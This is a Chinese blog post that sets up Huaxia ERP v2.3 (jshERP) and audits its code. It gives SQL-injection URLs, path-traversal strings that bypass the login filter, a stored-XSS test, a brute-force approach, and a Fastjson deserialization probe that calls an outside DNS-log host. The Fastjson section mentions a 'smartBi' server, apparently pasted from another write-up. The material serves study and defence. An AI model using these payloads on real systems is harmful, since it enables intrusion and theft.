华夏-ERPv2.3搭建&&审计

华夏-ERPv2.3搭建

JDK:推荐 JDK 1.8 或 11(jkd1.8==jdk8)

Maven:3.6+

Node.js + npm:前端构建需要,推荐 Node.js 14.x/16.x

数据库:MySQL 5.7 或 8.0(推荐 5.7)

IDE:IntelliJ IDEA

使用IDEA

  1. 下载:下载地址(v2.3版本):https://github.com/jishenghua/jshERP/releases

  2. 导入到IDEA(记得配置java环境为1.8)(可以自己下载,也可以使用IDEA自带的)

    image-20250822213808211

  3. 配置数据库(可以先使用phpstudy创建数据库,导入文件jsh_erp.sql,再使用Navicat Premium 17连接数据库)

image-20250822213200088

  1. 使用 IDEA 打开项目,执行 mvn clean install,然后运行 JshErpApplication.java 主类即可启动。

    image-20250822213723216

    • Maven 的命令,用来:

      • clean:清理掉之前编译的文件
      • install:编译 + 打包项目,并把 jar/war 包安装到本地 Maven 仓库

      先clean ,再install

    • JshErpApplication.java启动

      • 目录结构

        1
        2
        3
        4
        5
        6
        7
        8
        jshERP-boot
         └─ src
             └─ main
                 └─ java
                     └─ com
                         └─ jsh
                             └─ erp
                                 └─ JshErpApplication.java   ← 启动类
      • 路径

        1
        jshERP-boot/src/main/java/com/jsh/erp/JshErpApplication.java

        image-20250822213601489

  2. 出现

    image-20250822213625370

    说明启动成功(显示url,账号密码就可以自行测试啦)

华夏-ERPv2.3审计

介绍

华夏ERP-2.3 是一款面向中小企业的开源 ERP 系统,基于 SpringBoot + MyBatis 构建,前端采用 jQuery、EasyUI 和 AdminLTE。系统功能涵盖多个模块,能够满足中小企业日常经营管理需求。

该版本特点是 开源、免费、易部署,支持多用户权限控制,适合学习、二次开发和中小企业信息化使用。但由于 v2.3 版本依赖库较旧,存在一定的 安全漏洞(如 SQL 注入、Fastjson 反序列化、XSS 等),实际部署时需注意升级和安全加固。

前期准备

先大致浏览下整个项目的大致结构和配置信息

pom.xml:

该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。

  1. 使用了1.2.55 版本的fastjson,具备fastjson 反序列化的版本要求

    (1.2.55~1.2.68以下存在FastJson 绕过导致反序列化漏洞)

    1
    2
    3
    4
    5
    <dependency>
    	<groupId>com.alibaba</groupId>
    	<artifactId>fastjson</artifactId>
    	<version>1.2.55</version>
    </dependency>
  2. 了2.10.0 版本的log4j(emmmmm 但是这个版本是不存在漏洞的)

    1
    2
    3
    4
    5
    6
    <dependency>
    	<groupId>org.apache.logging.log4j</groupId>
    	<artifactId>log4j-to-slf4j</artifactId>
    	<version>2.10.0</version>
    	<scope>compile</scope>
    </dependency>
  3. 数据库使用了MyBatis

    1
    2
    3
    4
    5
    <dependency>
    	<groupId>com.gitee.starblues</groupId>
    	<artifactId>springboot-plugin-framework-extension-mybatis</artifactId>
    	<version>2.2.1-RELEASE</version>
    </dependency>

filter 配置:

里面存放的应该是项目对应的拦截器过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.jsh.erp.filter;

import org.springframework.util.StringUtils;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebInitParam;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
        initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
                      @WebInitParam(name = "filterPath",
                              value = "/user/login#/user/registerUser#/v2/api-docs")})
public class LogCostFilter implements Filter {

    private static final String FILTER_PATH = "filterPath";
    private static final String IGNORED_PATH = "ignoredUrl";

    private static final List<String> ignoredList = new ArrayList<>();
    private String[] allowUrls;
    private String[] ignoredUrls;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        String filterPath = filterConfig.getInitParameter(FILTER_PATH);
        if (!StringUtils.isEmpty(filterPath)) {
            allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
        }

        String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
        if (!StringUtils.isEmpty(ignoredPath)) {
            ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
            for (String ignoredUrl : ignoredUrls) {
                ignoredList.add(ignoredUrl);
            }
        }
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest servletRequest = (HttpServletRequest) request;
        HttpServletResponse servletResponse = (HttpServletResponse) response;
        String requestUrl = servletRequest.getRequestURI();
        //具体,比如:处理若用户未登录,则跳转到登录页
        Object userInfo = servletRequest.getSession().getAttribute("user");
        if(userInfo!=null) { //如果已登录,不阻止
            chain.doFilter(request, response);
            return;
        }
        if (requestUrl != null && (requestUrl.contains("/doc.html") ||
            requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
            chain.doFilter(request, response);
            return;
        }
        if (verify(ignoredList, requestUrl)) {
            chain.doFilter(servletRequest, response);
            return;
        }
        if (null != allowUrls && allowUrls.length > 0) {
            for (String url : allowUrls) {
                if (requestUrl.startsWith(url)) {
                    chain.doFilter(request, response);
                    return;
                }
            }
        }
        servletResponse.sendRedirect("/login.html");
    }

    private static String regexPrefix = "^.*";
    private static String regexSuffix = ".*$";

    private static boolean verify(List<String> ignoredList, String url) {
        for (String regex : ignoredList) {
            Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
            Matcher matcher = pattern.matcher(url);
            if (matcher.matches()) {
                return true;
            }
        }
        return false;
    }
    @Override
    public void destroy() {

    }
}
  1. 我们需要去到doFilter()方法中去看

    • 从session中提取user 参数的值,如果不为null,则跳过认证,这里是没有问题的

      1
      2
      3
      4
      5
      6
      //具体,比如:处理若用户未登录,则跳转到登录页
      Object userInfo = servletRequest.getSession().getAttribute("user");
              if(userInfo!=null) { //如果已登录,不阻止
                  chain.doFilter(request, response);
                  return;
              }
    • 如果访问的url 中包含 /doc.html、/register.html、/login.html,这些字符串,则不进行认证

      (如果url 长这样呢:/doc.html/../home.html,怕会出现未授权访问)(不严谨!!!)

      1
      2
      3
      4
      5
      if (requestUrl != null && (requestUrl.contains("/doc.html") ||
          requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
          chain.doFilter(request, response);  // 请求以上URL,均不阻止
          return;
      }
    • 访问.css、.js、.jpg、.png、.gif、.ico、/user/login、/user/registerUser、/v2/api-docs这些内容的时候也不需要认证

      (.css/../home.html,同样存在未授权)(也不严谨!!!)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      if (verify(ignoredList, requestUrl)) {
          chain.doFilter(servletRequest, response);
          return;
      }
      if (null != allowUrls && allowUrls.length > 0) {
          for (String url : allowUrls) {
              if (requestUrl.startsWith(url)) {
                  chain.doFilter(request, response);
                  return;
              }
          }
      }
    • 最后如果用户没有权限,则跳转到登录页

      1
      servletResponse.sendRedirect("/login.html");
  • 总结:

    在代码中存在四种判断方式:

    • 如果已经登录,直接放行
    • 看URL中是否包含特定路径,包含则放行
    • 使用verify()方法验证URL,验证通过则放行
    • 使用以特定字符开头的URL路径则放行

sql注入

  1. 检查到了Mybatis组件

    所以搜索关键字为:${ ,文件尽量查找跟用户有关的操作,并且查询的是**.xml文件**

    jshERP-2.3\src\main\resources\mapper_xml\UnitMapperEx.xml

1
2
3
4
5
6
7
8
9
10
11
12
<select id="selectByConditionUnit" parameterType="com.jsh.erp.datasource.entities.UnitExample" resultMap="com.jsh.erp.datasource.mappers.UnitMapper.BaseResultMap">
        select *
        FROM jsh_unit
        where 1=1
        <if test="name != null">
            and name like '%${name}%'
        </if>
        and ifnull(delete_flag,'0') !='1'
        <if test="offset != null and rows != null">
            limit #{offset},#{rows}
        </if>
    </select>
  1. 回溯搜索selectByConditionUnit,只有一个接口和一个用法

    jshERP-2.3\src\main\java\com\jsh\erp\service\unit\UnitService.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public List<Unit> select(String name, int offset, int rows)throws Exception {//用法
            List<Unit> list=null;
            try{
                list=unitMapperEx.selectByConditionUnit(name, offset, rows);//接口
            }catch(Exception e){
                JshException.readFail(logger, e);
            }
            return list;
        }
  2. 寻找参数变量(注意:有些name发生转化,由传递过来的map 控制name 的值)

    先到select

    jshERP-2.3\src\main\java\com\jsh\erp\service\unit\UnitService.java

    • 由传递过来的map 控制name 的值

      1
      2
      3
      4
      5
      6
      private List<?> getUnitList(Map<String, String> map)throws Exception {
          String search = map.get(Constants.SEARCH);  // Constants.SEARCH 就是search
          String name = StringUtil.getInfo(search, "name");// 通过StringUtil.getInfo 获取name值
          String order = QueryUtils.order(map);
          return unitService.select(name, QueryUtils.offset(map), QueryUtils.rows(map));  // QueryUtils.offset(map) 需要我们传入的其他参数有具体的值,且是数字
      }

      此处查看name值获取过程,到getInfo

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      public static String getInfo(String search, String key){
          String value = "";
          if(search!=null) {
              JSONObject obj = JSONObject.parseObject(search);    // 解析成json对象(json反序列化)
              value = obj.getString(key);     // 然后从解析的json对象中拿出来name 的属性值
              if(value.equals("")) {
                  value = null;
              }
          }
          return value;
      }

      就是说,我们传入的search 参数内容应该是一个json 内容

    • 到getUnitList

      1
      2
      3
      4
      @Override
          public List<?> select(Map<String, String> map)throws Exception {
              return getUnitList(map);
          }
    • 再到select

      到这里,变成了两个参数控制

      1
      2
      3
      4
      5
      6
      public List<?> select(String apiName, Map<String, String> parameterMap)throws Exception {
          if (StringUtil.isNotEmpty(apiName)) {
              return container.getCommonQuery(apiName).select(parameterMap);
          }
          return new ArrayList<Object>();
      }
  3. 这个select 在往上找,就来到了最后的controller 层

    jshERP-2.3\src\main\java\com\jsh\erp\controller\ResourceController.java

    image-20250823235517735

  4. 查找apiName是什么??

    寻找apiName从哪里传入,输入get(apiName)查找

    jshERP-2.3\src\main\java\com\jsh\erp\service\CommonQueryManager.java

    image-20250824000024856

    说明:apiName的值会从configComponentMap这个变量中获取,而这个变量在init 函数中被put 压入数据。

    具体的内容是:service下每个文件夹对应一个apiName

    而我们一开始回溯搜索的selectByConditionUnit实现方法就是在service\unit\UnitService.java,所以这里我们需要的apiName 的值就是unit

    而且需要传入参数有三个:pageSize、currentPage、search

  5. 整理:

    两个点:

    • 第一个传入json:

      1
      2
      payload:
      http://127.0.0.1:8080/unit/list?search=/unit/list?search=%7B%22name%22%3A%22jsh%27%20or%201%3D1--%2B%22%7D&pageSize=10&currentPage=1&pageSize=10&currentPage=1
    • 第二个点利用apiname——>unit:

      1
      2
      payload:
      http://127.0.0.1:8080/unit/list?pageSize=&currentPage=&search=jsh' and sleep(3)--+
  6. 应该是先走第一个

    所以payload是传入json的内个

image-20250824002710881

权限校验

包含特定路径可绕过过滤器

  1. 当URL中包含/doc.html、/register.html、/login.html则放行数据包

    1
    2
    3
    4
    if (requestUrl != null && (requestUrl.contains("/doc.html") ||
                requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
                chain.doFilter(request, response);
                return;
  2. 构建路径/doc.html/.. 再加上正常访问的路径,/doc.html/.. 会返回根路径,再加上正常访问路径即可正常访问各功能点

  3. 正常登录返回两个数据包(先返回一个post,提交之后会返回一个get)

    image-20250824003549637

  4. 删除登录后的Cookie中的session信息的数据包,返回302重定向代码,返回login.html

    image-20250824003612455

  5. 加入越权Payload后的数据包,获取信息

    image-20250824003654566

verify()验证可绕过过滤器

  1. 一开始定义了要忽略的文件名后缀,包括:.css、.js、.jpg、.png、.gif、.ico文件,之后传递到初始化方法中,生成ignoredList列表

    1
    2
    3
    4
    @WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
            initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
                          @WebInitParam(name = "filterPath",
                                  value = "/user/login#/user/registerUser#/v2/api-docs")})
  2. 使用verify()方法进行验证,根据代码判断,当访问的文件后缀在ignoredList中,就放行数据包

    image-20250823224849701

  3. 构建poc

    1
    /a.css/..`,后面再加上正常访问的路径即可
  4. 同上直接构建payload越权获取用户信息

    image-20250824003817616

使用特定路径前缀可绕过过滤器

  1. 一开始定义了些允许访问的路径前缀:/user/login、/user/registerUser、/v2/api-docs,初始化方法中把运行访问路径生成alowUrls列表

    1
    2
    3
    4
    @WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
            initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
                          @WebInitParam(name = "filterPath",
                                  value = "/user/login#/user/registerUser#/v2/api-docs")})
  2. 对URL进行判断,若使用的路径开头在allowUrls列表中,则放行数据包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    if (null != allowUrls && allowUrls.length > 0) {
                for (String url : allowUrls) {
                    if (requestUrl.startsWith(url)) {
                        chain.doFilter(request, response);
                        return;
                    }
                }
            }
            servletResponse.sendRedirect("/login.html");
        }
  3. 判断方法中使用startsWith()方法进行验证,可以使用目录穿越的方式进行绕过,构建Payload路径:/user/login/../.. ,后面再添加正常访问路径即可

  4. 同上直接在数据包搞payload

    image-20250824003846664

存储型XSS

  1. 在前端html 目录中搜索有关/add 增加的功能页

    image-20250825001033863

  2. 有一个增加用户的功能点,先增加一个用户

    image-20250825001210544

  3. 然后修改用户名

    image-20250825001418935

  4. 成功弹窗

    image-20250825001355332

  5. 但有一个前提是拥有登陆后台的高权限

密码破解

  1. 查看user相关代码,发现登录功能没有对登录次数进行限制,也没有验证码验证

    \jshERP-2.3\src\main\java\com\jsh\erp\datasource\entities\User.java

  2. 这是用户登录的代码jshERP-2.3\src\main\java\com\jsh\erp\controller\UserController.java

    可以进行暴力用户名、密码测试

  3. 查看登录数据包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /user/login HTTP/1.1
    Host: 192.168.137.242:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 55
    Origin: http://192.168.137.242:8080
    Connection: keep-alive
    Referer: http://192.168.137.242:8080/login.html
    Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1755958707,1755966272,1755966567,1756050714; JSESSIONID=3BC51C24F7937AAE005C1EEF190EBC9E; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1756053268; HMACCOUNT=BDACAAE04DCF04BE
    Priority: u=0
    
    loginName=jsh&password=e10adc3949ba59abbe56e057f20f883e//这是账号密码
  4. 可以看到密码加密了(根据密码加密格式可以猜测为md5)(也可以去跑ai)

    image-20250825003652031

  5. 而且在userservice也发现MD5加密的注释

    image-20250825003754355

  6. 所以可以使用bp的插件,根据字典进行爆破(记得勾选MD5的加密哈)

    这里我就偷个小懒,不具体演示了哈

Fastjson反序列化漏洞

  1. 扫描pom.xml文件时发现存在1.2.55 版本Fastjson的,上面说过,这个版本是存在反序列化漏洞的版本

  2. 直接搜索parseObject(关键字 ; 或者换一种思路,直接寻找上面 SQL 注入的一样的search

    注意:这里反序列化的地方很多,我们要去找的地方一定是要输入可控的。

    image-20250825004159390

  3. 定位到StringUtil类文件,其中的静态方法getInfo调用了JSONObject.parseObject()方法,传递的参数是search

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public static String getInfo(String search, String key){
            String value = "";
            if(search!=null) {
                JSONObject obj = JSONObject.parseObject(search);
                value = obj.getString(key);
                if(value.equals("")) {
                    value = null;
                }
            }
            return value;
        }
  4. 查看getInfo方法的使用情况,发现之前查看过的PersonComponent类(巧了,就是之前审计的sql的代码)

    image-20250825004946970

  5. 查看PersonComponent类文件,getPersonList()方法调用了StringUtil.getInfo()方法,参数也是search中获取

    1
    2
    3
    4
    5
    6
    7
    private List<?> getPersonList(Map<String, String> map) throws Exception{
            String search = map.get(Constants.SEARCH);
            String name = StringUtil.getInfo(search, "name");
            String type = StringUtil.getInfo(search, "type");
            String order = QueryUtils.order(map);
            return personService.select(name, type, QueryUtils.offset(map), QueryUtils.rows(map));
        }
  6. 后面就和上面SQL注入时分析的一样,漏洞点路径就应该是/person/list?search=

    和之前一样

    • 先搭建在公⽹VPS上搭建FakeMysql服务器

    • 发送数据包后,我们的smartBi服务器尝试连接fakeMysql服务器,通过反序列化即可成功执⾏命令

      image-20250812181350575

    • 不多废话,直接展示payload:

      1
      {"@type":"java.net.Inet4Address","val":"3.b3925eed5a.ipv6.1433.eu.org"}

      image-20241020235518738

      ok,完事。


华夏-ERPv2.3搭建&&审计
http://example.com/2025/10/27/华夏-ERPv2.3搭建&审计/
作者
Piggy Sprint
发布于
2025年10月27日
许可协议